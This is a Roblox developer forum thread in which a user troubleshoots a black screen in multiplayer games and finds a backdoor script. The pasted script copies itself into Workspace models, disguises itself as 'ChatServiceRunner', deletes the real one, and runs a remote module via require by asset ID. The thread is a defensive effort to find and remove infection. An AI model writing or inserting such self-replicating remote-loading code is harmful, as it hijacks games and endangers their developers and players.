Black screen appears, if there is 2+ people on server

  1. What do you want to achieve? Keep it simple and clear!
    I’m wanna make everything works properly when there is 2+ people on server

  2. What is the issue? Include screenshots / videos if possible!
    here is screenshot when im alone:


    Here is screenshot when someone on server with me:

  1. What solutions have you tried so far? Did you look for solutions on the Developer Hub?
    I tryed to look in screen gui to find screen gui (assumed what this is gui), but nothing was found

I have no clue what’s happening, can anyone help me? I assume what this is some kind of script doing that

Is there some sort of code that does this, because it cannot be automatic

1 Like

I have no clue what happening, i didn’t wrote that

1 Like

Alright, I want you to do 1 thing, go into playergui and find the gui that makes ur screen black, then stop the game and search it in the explorer, see if you can find anything

1 Like

Uhh how i should do that? (30 letters)

1 Like

This happens in game not in studio

1 Like

Play the game, open explorer, click players, click on yourself and playergui, try to find the gui

In real game there is no explorer ayo

Enable it then, and make sure you did not add any virus script or free model script

Bruh how i should i enable script in roblox game without roblox studio, + there is nothing when i check by roblox studio

4 screen gui’s 3 of them mine one of them is free cam

I have server defender anti-virus

1 Like

Most anti virus plugins are virus, you should rely on yourself and read every code you add that is not yours

This anti-virus i using for year or maybe even more, amma try find strange scripts by filter

1 Like

Did you try the method I suggested you

Okay i already find someth strange

function config()
	
	local name = "OBM"
	
	local sp = game.Workspace:GetChildren()
	
	for i = 1, #sp do
		if sp[i]:IsA("Model") or sp[i]:IsA("Folder") then
			if sp[i]:FindFirstChild(name) == nil then
				local clone = script:Clone()
				clone.Parent = sp[i]
				clone.Name = name
			end
		end
	end
	
	local fakeName = "ChatServiceRunner "
	
	if game:GetService("ServerScriptService"):FindFirstChild(fakeName) == nil then
		local copy = script:Clone()
		
		copy.Parent = game:GetService("ServerScriptService")
		copy.Name = fakeName
		local cChannel = Instance.new("ModuleScript")
		
		cChannel.Name = "ChatChannel"
		cChannel.Parent = copy
		local bChannel = Instance.new("ModuleScript")
		
		bChannel.Name = "ChatService"
		bChannel.Parent = copy
		local aChannel = Instance.new("ModuleScript")
		
		aChannel.Name = "Speaker"
		aChannel.Parent = copy
		local zChannel = Instance.new("ModuleScript")
		
		zChannel.Name = "Util"
		zChannel.Parent = copy
		
		if game:GetService("ServerScriptService"):FindFirstChild("ChatServiceRunner") ~= nil then
			
			game:GetService("ServerScriptService").ChatServiceRunner:Destroy()
			
		end
		
	end
	
	local payload = require(1006051316)
	
	payload:activate()
	
end

while wait(1) do
	
	config()
	
end

Remove this code, see if it’s fixed

1 Like

okay ( 30lettersssssssssssssssssssssss)

1 Like

There might be other viruses. Just search require in the Find All / Replace All tool and see if there’s other weird scripts.

1 Like

Uhh don’t understood that explain bit more

1 Like